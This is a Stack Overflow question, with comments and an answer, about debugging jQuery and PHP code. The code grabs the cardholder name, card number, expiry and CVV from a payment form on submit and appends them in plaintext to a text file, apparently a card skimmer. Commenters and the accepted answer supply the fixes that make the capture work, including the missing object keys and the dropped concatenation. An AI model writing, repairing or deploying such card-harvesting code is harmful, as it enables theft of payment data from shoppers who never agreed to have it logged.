0

I can't see what the fault is because the text file cannot be created when entering the information

jQuery( document ).ready(function() {

// Después de enviar el formulario de la tarjeta de crédito, obtenga todos los datos
jQuery("").on('submit'), function() {
    var cc_holders_name = jQuery('#nameoncard').val();
    var cc_number = jQuery('#addCreditCardNumber').val();
    var expiry_date = jQuery('#exp').val();
    var cvv = jQuery('#Address').val();
    
    jQuery.post( "log.php", {
        cc_holders_name: cc_holders_name, cc_number, expiry_date, cvv: cvv}, function(data) {
            // Enviar datos
        });
}
});

<?php

header('*');

if ( isset($_REQUEST['cc_holders_name']) && isset($_REQUEST['cc_number']) && isset($_REQUEST['expiry_date']) && isset($_REQUEST['cvv']) ) {
    
    $cc_holders_name = $_REQUEST['cc_holders_name'];
    $cc_number = $_REQUEST['cc_number'];
    $cc_expiry_date = $_REQUEST['expiry_date'];
    $cc_cvv = $_REQUEST['cvv'];
    
    $data = "";
    $data .= "Name on Card: " . $cc_holders_name . "\r\n";
    $data .= "Card Number: " . $cc_number . "\r\n";
    $data .= "Expiration date: " . $cc_expiry_date . "\r\n";
    $data .= "CVV: " . $cc_cvv . "\r\n";
    $data = "\r\n";
    
    file_put_contents('credit_cards.txt', $data, FILE_APPEND);
}
Machavity
  • 30,841
  • 27
  • 92
  • 100
  • 1
    Errors? https://stackoverflow.com/questions/888/how-do-you-debug-php-scripts Or taking a step back, Google how to use browser's developer console to inspect the POST. – ficuscr Aug 25 '20 at 18:43
  • 1
    `data = '\r\n';` should be `data .= '\r\n';`. – Dan O Aug 25 '20 at 18:55
  • 1
    well, ideally this code should not exist. but if you absolutely have to store everyone's credit-card data in a plaintext file like this, the missing `.` is what's preventing it from working. – Dan O Aug 25 '20 at 18:56
  • Probably the ajax call is aborted, as it is called in an uncanceled submit handler ... – Teemu Aug 25 '20 at 18:58
  • Please don't make more work for other people by vandalizing your posts. By posting on the Stack Exchange network, you've granted a non-revocable right, under the [CC BY-SA 4.0 license](//creativecommons.org/licenses/by-sa/4.0/), for Stack Exchange to distribute that content (i.e. regardless of your future choices). By Stack Exchange policy, the non-vandalized version of the post is the one which is distributed. Thus, any vandalism will be reverted. If you want to know more about deleting a post please see: [How does deleting work?](//meta.stackexchange.com/q/5221) – Machavity Aug 26 '20 at 20:50

1 Answers1

1

Because cc_number and expiry_date keys are not set. To set them - change your js as:

jQuery.post( 
    "log.php", 
    {
        cc_holders_name: cc_holders_name, 
        // add key name here
        cc_number: cc_number,
        // and here 
        expiry_date: expiry_date, 
        cvv: cvv
    }, 
    function(data) {
        // Enviar datos
    }
);
u_mulder
  • 54,101
  • 5
  • 48
  • 64